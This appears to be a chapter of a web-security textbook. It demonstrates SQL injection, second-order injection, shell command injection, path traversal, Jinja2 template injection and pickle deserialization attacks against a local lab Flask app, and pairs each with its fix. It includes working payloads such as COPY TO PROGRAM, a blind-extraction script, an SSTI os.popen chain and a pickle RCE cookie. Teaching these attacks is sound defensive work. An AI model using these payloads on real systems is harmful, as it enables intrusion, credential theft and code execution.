8 — When input becomes code

Chapter 7 ended with a single quote. Mallory typed ' into the search box and got back a PostgreSQL syntax error, which means her input had become part of an SQL statement. Every defense up to now was an instruction to the browser. Mallory doesn’t need a browser for this. She has a logged-in session in a curl cookie jar and a server that builds code out of what she sends.

This chapter follows that pattern through five languages the server speaks: SQL, the shell, file paths, Jinja2 templates and Python’s pickle format. Each attack ran against the lab’s copy of the app: Flask 3.1.3 on Python 3.12.8, PostgreSQL 16.2, psycopg 3.3.8, at https://notes.test:5301. The seeded accounts are admin (id 1), alice (id 2) and mallory (id 3). Mallory’s requests look like this, with the cookie jar from her login:

curl -sk --resolve notes.test:5301:127.0.0.1 -b jar-mallory -G https://notes.test:5301/search --data-urlencode "q=..."

The outputs below are trimmed to the part of the page that matters.

The search query

The search route built its SQL with an f-string:

q = request.args.get("q", "")
sort = request.args.get("sort", "title")
query = (f"SELECT id, title FROM notes WHERE owner_id = {u['id']} "
         f"AND body ILIKE '%{q}%' ORDER BY {sort}")
rows = db().execute(query).fetchall()

For q=mallory the database receives ... AND body ILIKE '%mallory%' ORDER BY title, and mallory sees her one matching note:

<li>4 Hello</li>

For q=' it receives ILIKE '%'%', which has an unterminated string. The app passed PostgreSQL’s error straight into the page:

unterminated quoted string at or near "' ORDER BY title"
LINE 1: ... FROM notes WHERE owner_id = 3 AND body ILIKE '%'%' ORDER BY...

That error is the whole bug. The quote ended the string literal early, and everything after it was read as SQL. It also showed mallory the rest of the query, including her user ID and the ORDER BY clause.

Every note in the database

q=' OR true -- closes the string, adds a condition, and comments out the rest:

SELECT id, title FROM notes WHERE owner_id = 3 AND body ILIKE '%' OR true --%' ORDER BY title

AND binds tighter than OR, so the condition is (owner_id = 3 AND ...) OR true, which is true for every row:

<li>1 Root credentials</li><li>2 Groceries</li><li>3 Salary review</li><li>4 Hello</li><li>5 Aardvark</li><li>6 Zebra</li>

Notes 1 to 3 belong to the admin and to alice.

Other tables

The query returns two columns, an integer and some text. UNION appends the rows of any other query with the same shape:

q=' UNION SELECT id, username || ' ' || password_hash FROM users --

<li>1 admin scrypt:32768:8:1$gQEHLMSVa5wxAIr1$338643d6b59c0931093d87a34801765dab2feaf1...</li>
<li>3 mallory scrypt:32768:8:1$eLBn4iO76HgbdWnt$0f08e4eeb41a13063b7e21e55f31b5c2f4342d91...</li>
<li>2 alice scrypt:32768:8:1$x9FfWQ66rSZ23Z2K$418f96b560620a8789caa72d12cab7798403bb4d...</li>

Those are Werkzeug’s scrypt hashes. They are slow to crack, which is the point of using scrypt, but every account’s hash is now on mallory’s machine, where she can try guesses offline as fast as her hardware allows. The same trick told her who the app connects as:

q=' UNION SELECT 0, current_user || ' superuser=' || current_setting('is_superuser') --

<li>0 postgres superuser=on</li>

Writing, and then running commands

The search ran in psycopg without parameters. Psycopg’s documentation says that with server-side binding, several statements separated by semicolons aren’t allowed in one execute() call, and that “there is no such limitation if no parameters are used”. So a semicolon starts a second statement:

q='; UPDATE users SET is_admin = true WHERE username = 'mallory' --

The page showed mallory’s normal results, and the table changed underneath:

admin|t
alice|f
mallory|t

The app connects as postgres, a superuser. PostgreSQL’s COPY ... TO PROGRAM runs a shell command on the database server, and the COPY documentation says it’s allowed for superusers and for roles granted pg_execute_server_program:

q='; COPY (SELECT '') TO PROGRAM 'id > /tmp/sqli-proof.txt' --

$ cat /tmp/sqli-proof.txt
uid=501(ash) gid=20(staff) groups=20(staff),1...

A search box became a shell on the database host, running as the account PostgreSQL runs as. In the lab, that’s the laptop’s own user.

Parameters

The fix is to stop putting values into the SQL text. A parameterized query sends the SQL and the values separately. Psycopg 3 does this with server-side binding: in the words of its documentation, it “sends the query and the parameters to the server separately, instead of merging them on the client side.” PostgreSQL parses the statement first, with placeholders, and receives the values afterward as data. No value can change the parse.

rows = db().execute(
    f"SELECT id, title FROM notes WHERE owner_id = %s AND body ILIKE %s ORDER BY {sort}",
    (u["id"], f"%{q}%"),
).fetchall()

%s here is psycopg’s placeholder, not Python string formatting. The % signs around q are part of the value: they’re ILIKE wildcards, so the pattern itself is still data. Both earlier payloads now search for their literal text and find nothing:

q=' OR true --                  ->  <ul></ul>
q='; DROP TABLE notes --        ->  <ul></ul>

The f-string is still there, because sort is still in it.

The sort order

ORDER BY takes a column name or an expression. Neither can be a parameter, because parameters are values, and a value in ORDER BY is a constant that sorts nothing. Psycopg’s docs say the same: only values can be parameters, and other parts of a statement need the psycopg.sql module. So the sort was left interpolated. Mallory’s notes “Aardvark” (created today) and “Zebra” (two days ago) show how much that leaves open.

A normal request sorts by title:

sort=title  ->  <li>5 Aardvark</li><li>6 Zebra</li>

The sort can be any expression, including one that asks a question about another table:

sort=(CASE WHEN (SELECT substr(password_hash, 1, 1) FROM users WHERE username = 'admin') = 's'
      THEN title ELSE created_at::text END) DESC

If the condition is true, the results are ordered by title descending, Zebra first. If it’s false, they’re ordered by date descending, Aardvark first:

= 's'  ->  <li>6 Zebra</li><li>5 Aardvark</li>
= 't'  ->  <li>5 Aardvark</li><li>6 Zebra</li>

The page never shows the data, but the order answers one yes-or-no question per request. That’s blind SQL injection. A short script asks whether each character’s code is above some value and narrows it down by binary search:

def true(cond):
    sort = f"(CASE WHEN ({cond}) THEN title ELSE created_at::text END) DESC"
    r = s.get(URL, params={"q": "zz", "sort": sort})
    return r.text.index("Zebra") < r.text.index("Aardvark")

for i in range(1, 41):
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if true(f"(SELECT ascii(substr(password_hash, {i}, 1)) FROM users WHERE username = 'admin') > {mid}"):
            lo = mid + 1
        else:
            hi = mid
    out += chr(lo)

scrypt:32768:8:1$gQEHLMSVa5wxAIr1$338643 (266 requests)
real 3.79s

Forty characters of the admin’s hash in under four seconds. Errors and timing work the same way when the order isn’t visible: a condition that divides by zero, or calls pg_sleep, only when true.

One thing did change with parameters. The second statement no longer runs:

sort=id; DROP TABLE notes
psycopg.errors.SyntaxError: cannot insert multiple commands into a prepared statement

Psycopg sent the statement through the extended query protocol, which takes exactly one statement. That’s a side effect of how it binds, not a defense. The SELECT subqueries above still worked.

Choosing from a list

OWASP’s SQL injection prevention advice recommends mapping the user’s choice to a fixed set of values the application owns. The browser sends a name, and the server picks the SQL:

SORTS = {"title": "title", "newest": "created_at DESC", "oldest": "created_at"}

order = SORTS.get(request.args.get("sort"), "title")
query = sql.SQL("SELECT id, title FROM notes WHERE owner_id = %s AND body ILIKE %s ORDER BY {}").format(
    sql.SQL(order))
rows = db().execute(query, (u["id"], f"%{q}%")).fetchall()

Nothing mallory sends reaches the SQL text. An unknown sort falls back to title:

sort=(CASE WHEN true THEN title END) DESC  ->  <li>5 Aardvark</li><li>6 Zebra</li>
sort=newest                                ->  <li>5 Aardvark</li><li>6 Zebra</li>

When the identifier really has to come from outside, such as a column picked from a schema at run time, psycopg.sql.Identifier quotes it as an identifier:

sql.SQL("ORDER BY {}").format(sql.Identifier("title; DROP TABLE notes")).as_string(conn)
# 'ORDER BY "title; DROP TABLE notes"'

That’s now a column name with odd characters in it, and PostgreSQL rejects it as a column that doesn’t exist. Quoting closes the injection, but an allowlist still decides which columns may be sorted on, so it’s the better default.

Input that was already in the database

A second route showed each user how many notes they have:

row = db().execute(f"SELECT count(*) AS n FROM notes JOIN users ON users.id = notes.owner_id "
                   f"WHERE users.username = '{u['username']}'").fetchone()

The username came from the database, not the request, so whoever wrote this treated it as safe. But it was typed by a user at sign-up, and the sign-up form stored it with a correct parameterized INSERT. Nothing was wrong at the moment it was stored. The injection happens later, when it’s read back and pasted into SQL. This is second-order injection.

Mallory signed up twice, with these usernames:

eve2' OR (SELECT left(password_hash, 7) FROM users WHERE username = 'admin') = 'scrypt:' --
eve3' OR (SELECT left(password_hash, 7) FROM users WHERE username = 'admin') = 'pbkdf2:' --

Logged in as each, the stats page said:

eve2' OR (...) = 'scrypt:' -- has 6 notes
eve3' OR (...) = 'pbkdf2:' -- has 0 notes

Six is every note in the database, so the first condition was true. The same yes-or-no oracle as the sort order, one sign-up per question. The fix is the same parameter:

row = db().execute("SELECT count(*) AS n FROM notes JOIN users ON users.id = notes.owner_id "
                   "WHERE users.username = %s", (u["username"],)).fetchone()

after which eve2’s page said has 0 notes, the true count. A value’s origin doesn’t matter: anything that goes into SQL goes in as a parameter, whether it came from a request, a file, another service or the app’s own tables.

Least privilege

Every injection above ran as postgres. The app needs to read and write three tables, and nothing else. A role with only that:

CREATE ROLE notes_app LOGIN;
GRANT CONNECT ON DATABASE notes TO notes_app;
GRANT SELECT, INSERT, DELETE ON users, notes, shares TO notes_app;
GRANT UPDATE (title, body, is_public) ON notes TO notes_app;
GRANT UPDATE (password_hash, avatar, avatar_type) ON users TO notes_app;
GRANT USAGE ON SEQUENCE users_id_seq, notes_id_seq TO notes_app;

UPDATE is granted per column, and is_admin isn’t among them. The original, injectable search was put back and run as notes_app:

q=' UNION SELECT 0, current_user || ' superuser=' || current_setting('is_superuser') --
  ->  <li>0 notes_app superuser=off</li>

q='; COPY (SELECT '') TO PROGRAM 'id' --
  ->  permission denied to COPY to or from an external program
      DETAIL:  Only roles with privileges of the "pg_execute_server_program" role may COPY to or from an external program.

q='; UPDATE users SET is_admin = true WHERE username = 'mallory' --
  ->  permission denied for table users

q=' UNION SELECT id, left(password_hash, 24) FROM users --
  ->  <li>1 scrypt:32768:8:1$gQEHLMS</li> ... <li>3 scrypt:32768:8:1$eLBn4iO</li> ...

The shell and the privilege escalation were gone. The password hashes weren’t, because the app legitimately reads users to log people in. Least privilege limits what an injection can do; it doesn’t stop one. OWASP puts it bluntly: don’t give application accounts DBA or admin access. A view, or a separate role for the login query, can narrow reads further.

The export button

The app can export a user’s notes as a tarball. The first version wrote the notes to a temporary directory and called tar through the shell, with a name the user chose:

out = EXPORTS / f"{name}.tar.gz"
subprocess.run(f"tar -czf {out} -C {tmp} .", shell=True)

With shell=True, the string goes to /bin/sh, which reads ;, |, $( ), backticks and redirections as syntax. Mallory’s export name:

curl ... -X POST https://notes.test:5301/export --data-urlencode 'name=x; id > exports/cmdi.txt; echo '

{"export":"cmdi.txt; echo .tar.gz"}

$ cat exports/cmdi.txt
uid=501(ash) gid=20(staff) groups=20(staff),1...

The shell ran tar with a broken argument list, then id with its output redirected, then echo. A name of $(uname -sm | tr " " _) produced a file called Darwin_arm64.tar.gz, which shows the substitution ran too.

Python’s subprocess documentation puts the responsibility plainly: the module never calls a shell on its own, and with shell=True, “it is the application’s responsibility to ensure that all whitespace and metacharacters are quoted appropriately”. The best fix here needs no external program at all:

out = EXPORTS / f"{secrets.token_hex(8)}.tar.gz"
with tarfile.open(out, "w:gz") as tf:
    tf.add(tmp, arcname="notes")

The server picks the file name, and the user’s text never reaches a command line. The same payload produced {"export":"b9208039b228bebf.tar.gz"} containing notes/ and notes/4.txt, and no cmdi.txt.

When a program really has to run, the arguments go in a list with no shell: subprocess.run(["tar", "-czf", out, "-C", tmp, "."]). Each list item reaches the program as exactly one argument, so ; and $( ) are just characters. One problem remains even then: a value that starts with - can be read as an option by the program itself. Putting -- before user-supplied arguments, for programs that support it, ends option parsing.

The attachments folder

Notes can have files attached, served from an uploads directory:

name = request.args["name"]
return Response(open(os.path.join(UPLOADS, name), "rb").read(), mimetype="application/octet-stream")

plan.txt returns the attachment. A path is a small language too, and .. means the parent directory:

name=../app.py
  ->  """The notes app. Fixes are switched on with the FIXES environment variable."""
      import base64, ipaddress, os, pickle, secrets, socket, subprocess, tarfile, tempfile, io, json

name=../secret.key
  ->  00000000: dbff 626d 1ea8 e98d f713 9c64 2c0c 35df  ..bm.......d,.5.

name=/etc/hosts
  ->  ##
      # Host Database

The first gave mallory the app’s source code, and the second its signing key. The third didn’t even need ..: os.path.join discards everything before an absolute path, so os.path.join(UPLOADS, "/etc/hosts") is just /etc/hosts.

Filtering out ../ is the obvious fix and the wrong one. It misses absolute paths, encoded forms, and inputs like ....// that become ../ after one pass of removal. The reliable check is on the final path: resolve it, then make sure it’s still inside the directory.

base = UPLOADS.resolve()
target = (base / name).resolve()
if not target.is_relative_to(base) or not target.is_file():
    abort(404)
return send_from_directory(base, target.relative_to(base))

resolve() collapses .. and follows symbolic links, so the check sees the real file. Each input again:

Flask’s send_from_directory on its own uses Werkzeug’s safe_join, which rejected ../app.py and /etc/hosts in a separate test. It served link.txt, though, because a symlink inside the folder is a path inside the folder. Whether that matters depends on who can create links there. Better still is to never use the user’s text as a path: store uploads under a generated ID, and keep the original filename in the database for display.

The share card

The app renders a small HTML card for sharing a note. The first version built the template with an f-string:

return render_template_string(f"<div class=card><h2>{n['title']}</h2><p>by {u['username']}</p></div>")

render_template_string treats its argument as Jinja2 source, and the note title is now part of that source. Jinja’s {{ }} evaluates an expression. Mallory created notes with these titles and opened their cards:

title: Trip {{ 7*7 }}
  ->  <div class=card><h2>Trip 49</h2><p>by mallory</p></div>

title: {{ config.SECRET_KEY }}
  ->  <div class=card><h2>b'\xdb\xffbm\x1e\xa8\xe9\x8d\xf7\x13\x9cd,\x0c5\xdfH...'</h2><p>by mallory</p></div>

title: {{ cycler.__init__.__globals__.os.popen('id').read() }}
  ->  <div class=card><h2>uid=501(ash) gid=20(staff) groups=20(staff),12(everyone),...</h2><p>by mallory</p></div>

49 proves evaluation. Flask puts config into every template’s context, so the second title printed the app’s secret key, the same bytes the path traversal found. The third walks from cycler, a helper class that Jinja provides to every template, through its __init__ function to that function’s module globals, which include os. From there, popen runs a command. This is server-side template injection (SSTI), and in a Python template engine it usually ends in code execution.

Jinja2 auto-escaping, which chapter 4 relied on, doesn’t help here. It escapes values rendered into a template. This title isn’t a value; it’s part of the template.

The fix is to keep the template constant and pass the data as variables:

return render_template_string("<div class=card><h2>{{ title }}</h2><p>by {{ who }}</p></div>",
                              title=n["title"], who=u["username"])

The same three titles now come back as text: <h2>Trip {{ 7*7 }}</h2>, <h2>{{ config.SECRET_KEY }}</h2>, and the third with its quotes escaped as '.

Some apps do need users to write templates, for example custom email layouts. Jinja’s SandboxedEnvironment exists for that. It checks attribute access as templates run:

'{{ 7*7 }}'                                               -> '49'
"{{ cycler.__init__.__globals__.os.popen('id').read() }}" -> SecurityError: access to attribute '__init__' of 'type' object is unsafe.
"{{ ''.__class__.__mro__ }}"                              -> SecurityError: access to attribute '__class__' of 'str' object is unsafe.

The Jinja sandbox documentation lists the limits: the sandbox alone isn’t perfect security, a small template can still produce huge output and burn CPU and memory, and it can’t protect any object passed into the context that has dangerous methods. Untrusted templates need the sandbox, resource limits, and a context with nothing in it but plain data.

The secret key that leaked twice also has to change. Flask signs its cookies with it, and anyone who has the key can sign whatever cookie they like. That matters for the next attack.

The preferences cookie

The app remembers each user’s theme and page size in a cookie. The first version stored a Python dict with pickle, base64-encoded:

resp.set_cookie("prefs", base64.b64encode(pickle.dumps(p)).decode())
...
p = pickle.loads(base64.b64decode(request.cookies["prefs"]))

Mallory set her preferences and looked at what came back. Python’s pickletools disassembles a pickle into its opcodes:

    0: \x80 PROTO      4
   11: }    EMPTY_DICT
   13: (    MARK
   14: \x8c     SHORT_BINUNICODE 'theme'
   22: \x8c     SHORT_BINUNICODE 'dark'
   29: \x8c     SHORT_BINUNICODE 'page_size'
   41: K        BININT1    50
   43: u        SETITEMS   (MARK at 13)
   44: .    STOP

A pickle is a small program for a stack machine that rebuilds objects. Among its opcodes are ones that import any global by name and call it. The pickle documentation opens with a warning: “It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.” Any class can define __reduce__ to say “rebuild me by calling this function with these arguments”, and the function can be anything:

class Exploit:
    def __reduce__(self):
        return (os.system, ("id > exports/pickle-rce.txt",))

print(base64.b64encode(pickle.dumps(Exploit())).decode())

Disassembled, the payload is an import and a call:

   11: \x8c SHORT_BINUNICODE 'posix'
   19: \x8c SHORT_BINUNICODE 'system'
   28: \x93 STACK_GLOBAL
   30: \x8c SHORT_BINUNICODE 'id > exports/pickle-rce.txt'
   60: \x85 TUPLE1
   62: R    REDUCE
   64: .    STOP

Mallory sent it as her prefs cookie:

curl ... -b "prefs=gASVNgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBtpZCA+IGV4cG9ydHMvcGlja2xlLXJjZS50eHSUhZRSlC4=" \
     https://notes.test:5301/prefs
{"prefs":0}

$ cat exports/pickle-rce.txt
uid=501(ash) gid=20(staff) groups=20(staff),1...

0 is the return value of os.system. The command had already run by the time pickle.loads returned, before the app could look at the result and notice it wasn’t a dict.

The pickle documentation suggests signing with hmac when data must be tamper-proof. Signing would have stopped mallory here, but it makes the code-execution bug depend on one secret, and that secret had just leaked through the share card. The real fix is a format that can only express data. Preferences are a dict of strings and numbers, which is what JSON holds. The fixed version stores them in Flask’s signed cookie, which serializes with JSON and signs with the secret key:

session["prefs"] = {"theme": request.form.get("theme", "light"),
                    "page_size": int(request.form.get("page_size", 20))}

The payload part of that cookie decodes to plain JSON:

{"prefs":{"page_size":50,"theme":"dark"},...}

Mallory’s pickle cookie, sent again, was ignored, and no file appeared. With a leaked key she could forge a signed cookie, but a forged one would still be JSON: wrong preferences at worst, never a function call. The same reasoning applies to other formats that can name types: YAML loaded with an unsafe loader, Java serialization, and .NET’s BinaryFormatter. Untrusted bytes should go through a parser that only produces data.

The common shape

Each attack here crossed the same boundary. A program assembled text in some language, put user input inside it, and handed the result to an interpreter: PostgreSQL’s parser, /bin/sh, the filesystem’s path resolution, Jinja’s compiler, the pickle machine. The interpreter couldn’t tell which parts the developer meant and which parts mallory typed.

Each fix keeps the input in a channel where it can only be data:

Escaping can work in some of these cases, but it means getting every rule of the language right. Separating code from data removes the need to.

Where this leaves things

The server no longer runs input as code. Search, sorting, stats, export, attachments, the share card and preferences all keep user data out of the languages the server speaks, and the database account can’t run programs or grant itself admin even if a query slips through.

One feature still does exactly what the user asks. The profile page lets a user set an avatar by pasting the URL of an image, and the server fetches it:

@app.post("/profile/avatar")
def avatar():
    r = requests.get(request.form["url"], timeout=3)
    db().execute("UPDATE users SET avatar = %s, avatar_type = %s WHERE id = %s",
                 (r.content, r.headers.get("Content-Type", ""), u["id"]))

There’s nothing to inject. The URL is passed to requests as a URL, which is what it is. But the request leaves from the server, inside the server’s network, with the server’s access, and the server will fetch any URL it’s given. Chapter 9 points it at places mallory can’t reach herself.